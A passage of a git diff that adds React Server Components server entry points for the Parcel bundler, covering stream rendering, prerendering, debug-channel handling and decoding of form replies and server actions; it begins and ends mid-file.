+  environmentName?: string | (() => string),
+  filterStackFrame?: (url: string, functionName: string) => boolean,
+  identifierPrefix?: string,
+  signal?: AbortSignal,
+  temporaryReferences?: TemporaryReferenceSet,
+  onError?: (error: mixed) => void,
+  startTime?: number,
+};
+
+function startReadingFromDebugChannelReadableStream(
+  request: Request,
+  stream: ReadableStream,
+): void {
+  const reader = stream.getReader();
+  const stringDecoder = createStringDecoder();
+  let stringBuffer = '';
+  function progress({
+    done,
+    value,
+  }: {
+    done: boolean,
+    value: ?any,
+    ...
+  }): void | Promise<void> {
+    const buffer: Uint8Array = (value: any);
+    stringBuffer += done
+      ? readFinalStringChunk(stringDecoder, new Uint8Array(0))
+      : readPartialStringChunk(stringDecoder, buffer);
+    const messages = stringBuffer.split('\n');
+    for (let i = 0; i < messages.length - 1; i++) {
+      resolveDebugMessage(request, messages[i]);
+    }
+    stringBuffer = messages[messages.length - 1];
+    if (done) {
+      closeDebugChannel(request);
+      return;
+    }
+    return reader.read().then(progress).catch(error);
+  }
+  function error(e: any) {
+    abort(
+      request,
+      new Error('Lost connection to the Debug Channel.', {
+        cause: e,
+      }),
+    );
+  }
+  reader.read().then(progress).catch(error);
+}
+
+export function renderToReadableStream(
+  model: ReactClientValue,
+  options?: Options,
+): ReadableStream {
+  const debugChannelReadable =
+    __DEV__ && options && options.debugChannel
+      ? options.debugChannel.readable
+      : undefined;
+  const debugChannelWritable =
+    __DEV__ && options && options.debugChannel
+      ? options.debugChannel.writable
+      : undefined;
+  const request = createRequest(
+    model,
+    null,
+    options ? options.onError : undefined,
+    options ? options.identifierPrefix : undefined,
+    options ? options.temporaryReferences : undefined,
+    options ? options.startTime : undefined,
+    __DEV__ && options ? options.environmentName : undefined,
+    __DEV__ && options ? options.filterStackFrame : undefined,
+    debugChannelReadable !== undefined,
+  );
+  if (options && options.signal) {
+    const signal = options.signal;
+    if (signal.aborted) {
+      abort(request, (signal: any).reason);
+    } else {
+      const listener = () => {
+        abort(request, (signal: any).reason);
+        signal.removeEventListener('abort', listener);
+      };
+      signal.addEventListener('abort', listener);
+    }
+  }
+  if (debugChannelWritable !== undefined) {
+    const debugStream = new ReadableStream(
+      {
+        type: 'bytes',
+        pull: (controller): ?Promise<void> => {
+          startFlowingDebug(request, controller);
+        },
+      },
+      // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+      {highWaterMark: 0},
+    );
+    debugStream.pipeTo(debugChannelWritable);
+  }
+  if (debugChannelReadable !== undefined) {
+    startReadingFromDebugChannelReadableStream(request, debugChannelReadable);
+  }
+  const stream = new ReadableStream(
+    {
+      type: 'bytes',
+      start: (controller): ?Promise<void> => {
+        startWork(request);
+      },
+      pull: (controller): ?Promise<void> => {
+        startFlowing(request, controller);
+      },
+      cancel: (reason): ?Promise<void> => {
+        stopFlowing(request);
+        abort(request, reason);
+      },
+    },
+    // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+    {highWaterMark: 0},
+  );
+  return stream;
+}
+
+type StaticResult = {
+  prelude: ReadableStream,
+};
+
+export function prerender(
+  model: ReactClientValue,
+  options?: Options,
+): Promise<StaticResult> {
+  return new Promise((resolve, reject) => {
+    const onFatalError = reject;
+    function onAllReady() {
+      const stream = new ReadableStream(
+        {
+          type: 'bytes',
+          pull: (controller): ?Promise<void> => {
+            startFlowing(request, controller);
+          },
+          cancel: (reason): ?Promise<void> => {
+            stopFlowing(request);
+            abort(request, reason);
+          },
+        },
+        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+        {highWaterMark: 0},
+      );
+      resolve({prelude: stream});
+    }
+    const request = createPrerenderRequest(
+      model,
+      null,
+      onAllReady,
+      onFatalError,
+      options ? options.onError : undefined,
+      options ? options.identifierPrefix : undefined,
+      options ? options.temporaryReferences : undefined,
+      options ? options.startTime : undefined,
+      __DEV__ && options ? options.environmentName : undefined,
+      __DEV__ && options ? options.filterStackFrame : undefined,
+      false,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        const reason = (signal: any).reason;
+        abort(request, reason);
+      } else {
+        const listener = () => {
+          const reason = (signal: any).reason;
+          abort(request, reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+    startWork(request);
+  });
+}
+
+let serverManifest: ServerManifest = {};
+export function registerServerActions(manifest: ServerManifest) {
+  // This function is called by the bundler to register the manifest.
+  serverManifest = manifest;
+}
+
+export function decodeReply<T>(
+  body: string | FormData,
+  options?: {
+    temporaryReferences?: TemporaryReferenceSet,
+    arraySizeLimit?: number,
+  },
+): Thenable<T> {
+  if (typeof body === 'string') {
+    const form = new FormData();
+    form.append('0', body);
+    body = form;
+  }
+  const response = createResponse(
+    serverManifest,
+    '',
+    options ? options.temporaryReferences : undefined,
+    body,
+    options ? options.arraySizeLimit : undefined,
+  );
+  const root = getRoot<T>(response);
+  close(response);
+  return root;
+}
+
+export function decodeAction<T>(body: FormData): Promise<() => T> | null {
+  return decodeActionImpl(body, serverManifest);
+}
+
+export function decodeFormState<S>(
+  actionResult: S,
+  body: FormData,
+): Promise<ReactFormState<S, ServerReferenceId> | null> {
+  return decodeFormStateImpl(actionResult, body, serverManifest);
+}
+
+export function loadServerAction<F: (...any[]) => any>(id: string): Promise<F> {
+  const reference = resolveServerReference<any>(serverManifest, id);
+  return Promise.resolve(reference)
+    .then(() => preloadModule(reference))
+    .then(() => {
+      const fn = requireModule(reference);
+      if (typeof fn !== 'function') {
+        throw new Error('Server actions must be functions');
+      }
+      return fn;
+    });
+}
diff --git a/packages/react-server-dom-parcel/src/server/ReactFlightDOMServerEdge.js b/packages/react-server-dom-parcel/src/server/ReactFlightDOMServerEdge.js
new file mode 100644
index 000000000000..18813139526f
--- /dev/null
+++ b/packages/react-server-dom-parcel/src/server/ReactFlightDOMServerEdge.js
@@ -0,0 +1,345 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {
+  Request,
+  ReactClientValue,
+} from 'react-server/src/ReactFlightServer';
+import type {ReactFormState, Thenable} from 'shared/ReactTypes';
+
+import {
+  preloadModule,
+  requireModule,
+  resolveServerReference,
+  type ServerManifest,
+  type ServerReferenceId,
+} from '../client/ReactFlightClientConfigBundlerParcel';
+
+import {ASYNC_ITERATOR} from 'shared/ReactSymbols';
+
+import {
+  createRequest,
+  createPrerenderRequest,
+  startWork,
+  startFlowing,
+  startFlowingDebug,
+  stopFlowing,
+  abort,
+  resolveDebugMessage,
+  closeDebugChannel,
+} from 'react-server/src/ReactFlightServer';
+
+import {
+  createResponse,
+  close,
+  getRoot,
+  reportGlobalError,
+  resolveField,
+  resolveFile,
+} from 'react-server/src/ReactFlightReplyServer';
+
+import {
+  decodeAction as decodeActionImpl,
+  decodeFormState as decodeFormStateImpl,
+} from 'react-server/src/ReactFlightActionServer';
+
+export {
+  createClientReference,
+  registerServerReference,
+} from '../ReactFlightParcelReferences';
+
+import {
+  createStringDecoder,
+  readPartialStringChunk,
+  readFinalStringChunk,
+} from 'react-client/src/ReactFlightClientStreamConfigWeb';
+
+import type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
+
+export {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
+export type {TemporaryReferenceSet};
+
+type Options = {
+  debugChannel?: {readable?: ReadableStream, writable?: WritableStream, ...},
+  environmentName?: string | (() => string),
+  filterStackFrame?: (url: string, functionName: string) => boolean,
+  identifierPrefix?: string,
+  signal?: AbortSignal,
+  temporaryReferences?: TemporaryReferenceSet,
+  onError?: (error: mixed) => void,
+  startTime?: number,
+};
+
+function startReadingFromDebugChannelReadableStream(
+  request: Request,
+  stream: ReadableStream,
+): void {
+  const reader = stream.getReader();
+  const stringDecoder = createStringDecoder();
+  let stringBuffer = '';
+  function progress({
+    done,
+    value,
+  }: {
+    done: boolean,
+    value: ?any,
+    ...
+  }): void | Promise<void> {
+    const buffer: Uint8Array = (value: any);
+    stringBuffer += done
+      ? readFinalStringChunk(stringDecoder, new Uint8Array(0))
+      : readPartialStringChunk(stringDecoder, buffer);
+    const messages = stringBuffer.split('\n');
+    for (let i = 0; i < messages.length - 1; i++) {
+      resolveDebugMessage(request, messages[i]);
+    }
+    stringBuffer = messages[messages.length - 1];
+    if (done) {
+      closeDebugChannel(request);
+      return;
+    }
+    return reader.read().then(progress).catch(error);
+  }
+  function error(e: any) {
+    abort(
+      request,
+      new Error('Lost connection to the Debug Channel.', {
+        cause: e,
+      }),
+    );
+  }
+  reader.read().then(progress).catch(error);
+}
+
+export function renderToReadableStream(
+  model: ReactClientValue,
+  options?: Options,
+): ReadableStream {
+  const debugChannelReadable =
+    __DEV__ && options && options.debugChannel
+      ? options.debugChannel.readable
+      : undefined;
+  const debugChannelWritable =
+    __DEV__ && options && options.debugChannel
+      ? options.debugChannel.writable
+      : undefined;
+  const request = createRequest(
+    model,
+    null,
+    options ? options.onError : undefined,
+    options ? options.identifierPrefix : undefined,
+    options ? options.temporaryReferences : undefined,
+    options ? options.startTime : undefined,
+    __DEV__ && options ? options.environmentName : undefined,
+    __DEV__ && options ? options.filterStackFrame : undefined,
+    debugChannelReadable !== undefined,
+  );
+  if (options && options.signal) {
+    const signal = options.signal;
+    if (signal.aborted) {
+      abort(request, (signal: any).reason);
+    } else {
+      const listener = () => {
+        abort(request, (signal: any).reason);
+        signal.removeEventListener('abort', listener);
+      };
+      signal.addEventListener('abort', listener);
+    }
+  }
+  if (debugChannelWritable !== undefined) {
+    const debugStream = new ReadableStream(
+      {
+        type: 'bytes',
+        pull: (controller): ?Promise<void> => {
+          startFlowingDebug(request, controller);
+        },
+      },
+      // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+      {highWaterMark: 0},
+    );
+    debugStream.pipeTo(debugChannelWritable);
+  }
+  if (debugChannelReadable !== undefined) {
+    startReadingFromDebugChannelReadableStream(request, debugChannelReadable);
+  }
+  const stream = new ReadableStream(
+    {
+      type: 'bytes',
+      start: (controller): ?Promise<void> => {
+        startWork(request);
+      },
+      pull: (controller): ?Promise<void> => {
+        startFlowing(request, controller);
+      },
+      cancel: (reason): ?Promise<void> => {
+        stopFlowing(request);
+        abort(request, reason);
+      },
+    },
+    // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+    {highWaterMark: 0},
+  );
+  return stream;
+}
+
+type StaticResult = {
+  prelude: ReadableStream,
+};
+
+export function prerender(
+  model: ReactClientValue,
+  options?: Options,
+): Promise<StaticResult> {
+  return new Promise((resolve, reject) => {
+    const onFatalError = reject;
+    function onAllReady() {
+      const stream = new ReadableStream(
+        {
+          type: 'bytes',
+          pull: (controller): ?Promise<void> => {
+            startFlowing(request, controller);
+          },
+          cancel: (reason): ?Promise<void> => {
+            stopFlowing(request);
+            abort(request, reason);
+          },
+        },
+        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+        {highWaterMark: 0},
+      );
+      resolve({prelude: stream});
+    }
+    const request = createPrerenderRequest(
+      model,
+      null,
+      onAllReady,
+      onFatalError,
+      options ? options.onError : undefined,
+      options ? options.identifierPrefix : undefined,
+      options ? options.temporaryReferences : undefined,
+      options ? options.startTime : undefined,
+      __DEV__ && options ? options.environmentName : undefined,
+      __DEV__ && options ? options.filterStackFrame : undefined,
+      false,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        const reason = (signal: any).reason;
+        abort(request, reason);
+      } else {
+        const listener = () => {
+          const reason = (signal: any).reason;
+          abort(request, reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+    startWork(request);
+  });
+}
+
+let serverManifest: ServerManifest = {};
+export function registerServerActions(manifest: ServerManifest) {
+  // This function is called by the bundler to register the manifest.
+  serverManifest = manifest;
+}
+
+export function decodeReply<T>(
+  body: string | FormData,
+  options?: {
+    temporaryReferences?: TemporaryReferenceSet,
+    arraySizeLimit?: number,
+  },
+): Thenable<T> {
+  if (typeof body === 'string') {
+    const form = new FormData();
+    form.append('0', body);
+    body = form;
+  }
+  const response = createResponse(
+    serverManifest,
+    '',
+    options ? options.temporaryReferences : undefined,
+    body,
+    options ? options.arraySizeLimit : undefined,
+  );
+  const root = getRoot<T>(response);
+  close(response);
+  return root;
+}
+
+export function decodeReplyFromAsyncIterable<T>(
+  iterable: AsyncIterable<[string, string | File]>,
+  options?: {temporaryReferences?: TemporaryReferenceSet},
+): Thenable<T> {
+  const iterator: AsyncIterator<[string, string | File]> =
+    iterable[ASYNC_ITERATOR]();
+
+  const response = createResponse(
+    serverManifest,
+    '',
+    options ? options.temporaryReferences : undefined,
+  );
+
+  function progress(
+    entry:
+      | {done: false, +value: [string, string | File], ...}
+      | {done: true, +value: void, ...},
+  ) {
+    if (entry.done) {
+      close(response);
+    } else {
+      const [name, value] = entry.value;
+      if (typeof value === 'string') {
+        resolveField(response, name, value);
+      } else {
+        resolveFile(response, name, value);
+      }
+      iterator.next().then(progress, error);
+    }
+  }
+  function error(reason: Error) {
+    reportGlobalError(response, reason);
+    if (typeof (iterator: any).throw === 'function') {
+      // The iterator protocol doesn't necessarily include this but a generator do.
+      // $FlowFixMe should be able to pass mixed
+      iterator.throw(reason).then(error, error);
+    }
+  }
+
+  iterator.next().then(progress, error);
+
+  return getRoot(response);
+}
+
+export function decodeAction<T>(body: FormData): Promise<() => T> | null {
+  return decodeActionImpl(body, serverManifest);
+}
+
+export function decodeFormState<S>(
+  actionResult: S,
+  body: FormData,
+): Promise<ReactFormState<S, ServerReferenceId> | null> {
+  return decodeFormStateImpl(actionResult, body, serverManifest);
+}
+
+export function loadServerAction<F: (...any[]) => any>(id: string): Promise<F> {
+  const reference = resolveServerReference<any>(serverManifest, id);
+  return Promise.resolve(reference)
+    .then(() => preloadModule(reference))
+    .then(() => {
+      const fn = requireModule(reference);
+      if (typeof fn !== 'function') {
+        throw new Error('Server actions must be functions');
+      }
+      return fn;
+    });
+}
diff --git a/packages/react-server-dom-parcel/src/server/ReactFlightDOMServerNode.js b/packages/react-server-dom-parcel/src/server/ReactFlightDOMServerNode.js
new file mode 100644
index 000000000000..d267edd085af
--- /dev/null
+++ b/packages/react-server-dom-parcel/src/server/ReactFlightDOMServerNode.js
@@ -0,0 +1,733 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {
+  Request,
+  ReactClientValue,
+} from 'react-server/src/ReactFlightServer';
+import type {Destination} from 'react-server/src/ReactServerStreamConfigNode';
+import type {Busboy} from 'busboy';
+import type {Writable} from 'stream';
+import type {ReactFormState, Thenable} from 'shared/ReactTypes';
+import type {
+  ServerManifest,
+  ServerReferenceId,
+} from '../client/ReactFlightClientConfigBundlerParcel';
+
+import type {Duplex} from 'stream';
+
+import {Readable} from 'stream';
+
+import {ASYNC_ITERATOR} from 'shared/ReactSymbols';
+
+import {
+  createRequest,
+  createPrerenderRequest,
+  startWork,
+  startFlowing,
+  startFlowingDebug,
+  stopFlowing,
+  abort,
+  resolveDebugMessage,
+  closeDebugChannel,
+} from 'react-server/src/ReactFlightServer';
+
+import {
+  createResponse,
+  reportGlobalError,
+  close,
+  resolveField,
+  resolveFile,
+  resolveFileInfo,
+  resolveFileChunk,
+  resolveFileComplete,
+  getRoot,
+} from 'react-server/src/ReactFlightReplyServer';
+
+import {
+  decodeAction as decodeActionImpl,
+  decodeFormState as decodeFormStateImpl,
+} from 'react-server/src/ReactFlightActionServer';
+
+import {
+  preloadModule,
+  requireModule,
+  resolveServerReference,
+} from '../client/ReactFlightClientConfigBundlerParcel';
+
+export {
+  createClientReference,
+  registerServerReference,
+} from '../ReactFlightParcelReferences';
+
+import {
+  createStringDecoder,
+  readPartialStringChunk,
+  readFinalStringChunk,
+} from 'react-client/src/ReactFlightClientStreamConfigNode';
+
+import {textEncoder} from 'react-server/src/ReactServerStreamConfigNode';
+
+import type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
+
+export {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
+
+export type {TemporaryReferenceSet};
+
+function createDrainHandler(destination: Destination, request: Request) {
+  return () => startFlowing(request, destination);
+}
+
+function createCancelHandler(request: Request, reason: string) {
+  return () => {
+    stopFlowing(request);
+    abort(request, new Error(reason));
+  };
+}
+
+function startReadingFromDebugChannelReadable(
+  request: Request,
+  stream: Readable | WebSocket,
+): void {
+  const stringDecoder = createStringDecoder();
+  let lastWasPartial = false;
+  let stringBuffer = '';
+  function onData(chunk: string | Uint8Array) {
+    if (typeof chunk === 'string') {
+      if (lastWasPartial) {
+        stringBuffer += readFinalStringChunk(stringDecoder, new Uint8Array(0));
+        lastWasPartial = false;
+      }
+      stringBuffer += chunk;
+    } else {
+      const buffer: Uint8Array = (chunk: any);
+      stringBuffer += readPartialStringChunk(stringDecoder, buffer);
+      lastWasPartial = true;
+    }
+    const messages = stringBuffer.split('\n');
+    for (let i = 0; i < messages.length - 1; i++) {
+      resolveDebugMessage(request, messages[i]);
+    }
+    stringBuffer = messages[messages.length - 1];
+  }
+  function onError(error: mixed) {
+    abort(
+      request,
+      new Error('Lost connection to the Debug Channel.', {
+        cause: error,
+      }),
+    );
+  }
+  function onClose() {
+    closeDebugChannel(request);
+  }
+  if (
+    // $FlowFixMe[method-unbinding]
+    typeof stream.addEventListener === 'function' &&
+    // $FlowFixMe[method-unbinding]
+    typeof stream.binaryType === 'string'
+  ) {
+    const ws: WebSocket = (stream: any);
+    ws.binaryType = 'arraybuffer';
+    ws.addEventListener('message', event => {
+      // $FlowFixMe
+      onData(event.data);
+    });
+    ws.addEventListener('error', event => {
+      // $FlowFixMe
+      onError(event.error);
+    });
+    ws.addEventListener('close', onClose);
+  } else {
+    const readable: Readable = (stream: any);
+    readable.on('data', onData);
+    readable.on('error', onError);
+    readable.on('end', onClose);
+  }
+}
+
+type Options = {
+  debugChannel?: Readable | Writable | Duplex | WebSocket,
+  environmentName?: string | (() => string),
+  filterStackFrame?: (url: string, functionName: string) => boolean,
+  onError?: (error: mixed) => void,
+  identifierPrefix?: string,
+  temporaryReferences?: TemporaryReferenceSet,
+  startTime?: number,
+};
+
+type PipeableStream = {
+  abort(reason: mixed): void,
+  pipe<T: Writable>(destination: T): T,
+};
+
+export function renderToPipeableStream(
+  model: ReactClientValue,
+  options?: Options,
+): PipeableStream {
+  const debugChannel = __DEV__ && options ? options.debugChannel : undefined;
+  const debugChannelReadable: void | Readable | WebSocket =
+    __DEV__ &&
+    debugChannel !== undefined &&
+    // $FlowFixMe[method-unbinding]
+    (typeof debugChannel.read === 'function' ||
+      typeof debugChannel.readyState === 'number')
+      ? (debugChannel: any)
+      : undefined;
+  const debugChannelWritable: void | Writable =
+    __DEV__ && debugChannel !== undefined
+      ? // $FlowFixMe[method-unbinding]
+        typeof debugChannel.write === 'function'
+        ? (debugChannel: any)
+        : // $FlowFixMe[method-unbinding]
+          typeof debugChannel.send === 'function'
+          ? createFakeWritableFromWebSocket((debugChannel: any))
+          : undefined
+      : undefined;
+  const request = createRequest(
+    model,
+    null,
+    options ? options.onError : undefined,
+    options ? options.identifierPrefix : undefined,
+    options ? options.temporaryReferences : undefined,
+    options ? options.startTime : undefined,
+    __DEV__ && options ? options.environmentName : undefined,
+    __DEV__ && options ? options.filterStackFrame : undefined,
+    debugChannelReadable !== undefined,
+  );
+  let hasStartedFlowing = false;
+  startWork(request);
+  if (debugChannelWritable !== undefined) {
+    startFlowingDebug(request, debugChannelWritable);
+  }
+  if (debugChannelReadable !== undefined) {
+    startReadingFromDebugChannelReadable(request, debugChannelReadable);
+  }
+  return {
+    pipe<T: Writable>(destination: T): T {
+      if (hasStartedFlowing) {
+        throw new Error(
+          'React currently only supports piping to one writable stream.',
+        );
+      }
+      hasStartedFlowing = true;
+      startFlowing(request, destination);
+      destination.on('drain', createDrainHandler(destination, request));
+      destination.on(
+        'error',
+        createCancelHandler(
+          request,
+          'The destination stream errored while writing data.',
+        ),
+      );
+      // We don't close until the debug channel closes.
+      if (!__DEV__ || debugChannelReadable === undefined) {
+        destination.on(
+          'close',
+          createCancelHandler(request, 'The destination stream closed early.'),
+        );
+      }
+      return destination;
+    },
+    abort(reason: mixed) {
+      abort(request, reason);
+    },
+  };
+}
+
+function createFakeWritableFromWebSocket(webSocket: WebSocket): Writable {
+  return ({
+    write(chunk: string | Uint8Array) {
+      webSocket.send((chunk: any));
+      return true;
+    },
+    end() {
+      webSocket.close();
+    },
+    destroy(reason) {
+      if (typeof reason === 'object' && reason !== null) {
+        reason = reason.message;
+      }
+      if (typeof reason === 'string') {
+        webSocket.close(1011, reason);
+      } else {
+        webSocket.close(1011);
+      }
+    },
+  }: any);
+}
+
+function createFakeWritableFromReadableStreamController(
+  controller: ReadableStreamController,
+): Writable {
+  // The current host config expects a Writable so we create
+  // a fake writable for now to push into the Readable.
+  return ({
+    write(chunk: string | Uint8Array) {
+      if (typeof chunk === 'string') {
+        chunk = textEncoder.encode(chunk);
+      }
+      controller.enqueue(chunk);
+      // in web streams there is no backpressure so we can always write more
+      return true;
+    },
+    end() {
+      controller.close();
+    },
+    destroy(error) {
+      // $FlowFixMe[method-unbinding]
+      if (typeof controller.error === 'function') {
+        // $FlowFixMe[incompatible-call]: This is an Error object or the destination accepts other types.
+        controller.error(error);
+      } else {
+        controller.close();
+      }
+    },
+  }: any);
+}
+
+function startReadingFromDebugChannelReadableStream(
+  request: Request,
+  stream: ReadableStream,
+): void {
+  const reader = stream.getReader();
+  const stringDecoder = createStringDecoder();
+  let stringBuffer = '';
+  function progress({
+    done,
+    value,
+  }: {
+    done: boolean,
+    value: ?any,
+    ...
+  }): void | Promise<void> {
+    const buffer: Uint8Array = (value: any);
+    stringBuffer += done
+      ? readFinalStringChunk(stringDecoder, new Uint8Array(0))
+      : readPartialStringChunk(stringDecoder, buffer);
+    const messages = stringBuffer.split('\n');
+    for (let i = 0; i < messages.length - 1; i++) {
+      resolveDebugMessage(request, messages[i]);
+    }
+    stringBuffer = messages[messages.length - 1];
+    if (done) {
+      closeDebugChannel(request);
+      return;
+    }
+    return reader.read().then(progress).catch(error);
+  }
+  function error(e: any) {
+    abort(
+      request,
+      new Error('Lost connection to the Debug Channel.', {
+        cause: e,
+      }),
+    );
+  }
+  reader.read().then(progress).catch(error);
+}
+
+export function renderToReadableStream(
+  model: ReactClientValue,
+  options?: Omit<Options, 'debugChannel'> & {
+    debugChannel?: {readable?: ReadableStream, writable?: WritableStream, ...},
+    signal?: AbortSignal,
+  },
+): ReadableStream {
+  const debugChannelReadable =
+    __DEV__ && options && options.debugChannel
+      ? options.debugChannel.readable
+      : undefined;
+  const debugChannelWritable =
+    __DEV__ && options && options.debugChannel
+      ? options.debugChannel.writable
+      : undefined;
+  const request = createRequest(
+    model,
+    null,
+    options ? options.onError : undefined,
+    options ? options.identifierPrefix : undefined,
+    options ? options.temporaryReferences : undefined,
+    options ? options.startTime : undefined,
+    __DEV__ && options ? options.environmentName : undefined,
+    __DEV__ && options ? options.filterStackFrame : undefined,
+    debugChannelReadable !== undefined,
+  );
+  if (options && options.signal) {
+    const signal = options.signal;
+    if (signal.aborted) {
+      abort(request, (signal: any).reason);
+    } else {
+      const listener = () => {
+        abort(request, (signal: any).reason);
+        signal.removeEventListener('abort', listener);
+      };
+      signal.addEventListener('abort', listener);
+    }
+  }
+  if (debugChannelWritable !== undefined) {
+    let debugWritable: Writable;
+    const debugStream = new ReadableStream(
+      {
+        type: 'bytes',
+        start: (controller): ?Promise<void> => {
+          debugWritable =
+            createFakeWritableFromReadableStreamController(controller);
+        },
+        pull: (controller): ?Promise<void> => {
+          startFlowingDebug(request, debugWritable);
+        },
+      },
+      // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+      {highWaterMark: 0},
+    );
+    debugStream.pipeTo(debugChannelWritable);
+  }
+  if (debugChannelReadable !== undefined) {
+    startReadingFromDebugChannelReadableStream(request, debugChannelReadable);
+  }
+  let writable: Writable;
+  const stream = new ReadableStream(
+    {
+      type: 'bytes',
+      start: (controller): ?Promise<void> => {
+        writable = createFakeWritableFromReadableStreamController(controller);
+        startWork(request);
+      },
+      pull: (controller): ?Promise<void> => {
+        startFlowing(request, writable);
+      },
+      cancel: (reason): ?Promise<void> => {
+        stopFlowing(request);
+        abort(request, reason);
+      },
+    },
+    // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+    {highWaterMark: 0},
+  );
+  return stream;
+}
+
+function createFakeWritableFromNodeReadable(readable: any): Writable {
+  // The current host config expects a Writable so we create
+  // a fake writable for now to push into the Readable.
+  return ({
+    write(chunk: string | Uint8Array) {
+      return readable.push(chunk);
+    },
+    end() {
+      readable.push(null);
+    },
+    destroy(error) {
+      readable.destroy(error);
+    },
+  }: any);
+}
+
+type PrerenderOptions = {
+  environmentName?: string | (() => string),
+  filterStackFrame?: (url: string, functionName: string) => boolean,
+  onError?: (error: mixed) => void,
+  identifierPrefix?: string,
+  temporaryReferences?: TemporaryReferenceSet,
+  signal?: AbortSignal,
+  startTime?: number,
+};
+
+type StaticResult = {
+  prelude: Readable,
+};
+
+export function prerenderToNodeStream(
+  model: ReactClientValue,
+  options?: PrerenderOptions,
+): Promise<StaticResult> {
+  return new Promise((resolve, reject) => {
+    const onFatalError = reject;
+    function onAllReady() {
+      const readable: Readable = new Readable({
+        read() {
+          startFlowing(request, writable);
+        },
+      });
+      const writable = createFakeWritableFromNodeReadable(readable);
+      resolve({prelude: readable});
+    }
+
+    const request = createPrerenderRequest(
+      model,
+      null,
+      onAllReady,
+      onFatalError,
+      options ? options.onError : undefined,
+      options ? options.identifierPrefix : undefined,
+      options ? options.temporaryReferences : undefined,
+      options ? options.startTime : undefined,
+      __DEV__ && options ? options.environmentName : undefined,
+      __DEV__ && options ? options.filterStackFrame : undefined,
+      false,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        const reason = (signal: any).reason;
+        abort(request, reason);
+      } else {
+        const listener = () => {
+          const reason = (signal: any).reason;
+          abort(request, reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+    startWork(request);
+  });
+}
+
+export function prerender(
+  model: ReactClientValue,
+  options?: Options & {
+    signal?: AbortSignal,
+  },
+): Promise<{
+  prelude: ReadableStream,
+}> {
+  return new Promise((resolve, reject) => {
+    const onFatalError = reject;
+    function onAllReady() {
+      let writable: Writable;
+      const stream = new ReadableStream(
+        {
+          type: 'bytes',
+          start: (controller): ?Promise<void> => {
+            writable =
+              createFakeWritableFromReadableStreamController(controller);
+          },
+          pull: (controller): ?Promise<void> => {
+            startFlowing(request, writable);
+          },
+          cancel: (reason): ?Promise<void> => {
+            stopFlowing(request);
+            abort(request, reason);
+          },
+        },
+        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+        {highWaterMark: 0},
+      );
+      resolve({prelude: stream});
+    }
+    const request = createPrerenderRequest(
+      model,
+      null,
+      onAllReady,
+      onFatalError,
+      options ? options.onError : undefined,
+      options ? options.identifierPrefix : undefined,
+      options ? options.temporaryReferences : undefined,
+      options ? options.startTime : undefined,
+      __DEV__ && options ? options.environmentName : undefined,
+      __DEV__ && options ? options.filterStackFrame : undefined,
+      false,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        const reason = (signal: any).reason;
+        abort(request, reason);
+      } else {
+        const listener = () => {
+          const reason = (signal: any).reason;
+          abort(request, reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+    startWork(request);
+  });
+}
+
+let serverManifest: ServerManifest = {};
+export function registerServerActions(manifest: ServerManifest) {
+  // This function is called by the bundler to register the manifest.
+  serverManifest = manifest;
+}
+
+export function decodeReplyFromBusboy<T>(
+  busboyStream: Busboy,
+  options?: {
+    temporaryReferences?: TemporaryReferenceSet,
+    arraySizeLimit?: number,
+  },
+): Thenable<T> {
+  const response = createResponse(
+    serverManifest,
+    '',
+    options ? options.temporaryReferences : undefined,
+    undefined,
+    options ? options.arraySizeLimit : undefined,
+  );
+  let pendingFiles = 0;
+  const queuedFields: Array<string> = [];
+  busboyStream.on('field', (name, value) => {
+    if (pendingFiles > 0) {
+      // Because the 'end' event fires two microtasks after the next 'field'
+      // we would resolve files and fields out of order. To handle this properly
+      // we queue any fields we receive until the previous file is done.
+      queuedFields.push(name, value);
+    } else {
+      try {
+        resolveField(response, name, value);
+      } catch (error) {
+        busboyStream.destroy(error);
+      }
+    }
+  });
+  busboyStream.on('file', (name, value, {filename, encoding, mimeType}) => {
+    if (encoding.toLowerCase() === 'base64') {
+      busboyStream.destroy(
+        new Error(
+          "React doesn't accept base64 encoded file uploads because we don't expect " +
+            "form data passed from a browser to ever encode data that way. If that's " +
+            'the wrong assumption, we can easily fix it.',
+        ),
+      );
+      return;
+    }
+    pendingFiles++;
+    const file = resolveFileInfo(response, name, filename, mimeType);
+    value.on('data', chunk => {
+      resolveFileChunk(response, file, chunk);
+    });
+    value.on('end', () => {
+      try {
+        resolveFileComplete(response, name, file);
+        pendingFiles--;
+        if (pendingFiles === 0) {
+          // Release any queued fields
+          for (let i = 0; i < queuedFields.length; i += 2) {
+            resolveField(response, queuedFields[i], queuedFields[i + 1]);
+          }
+          queuedFields.length = 0;
+        }
+      } catch (error) {
+        busboyStream.destroy(error);
+      }
+    });
+  });
+  busboyStream.on('finish', () => {
+    close(response);
+  });
+  busboyStream.on('error', err => {
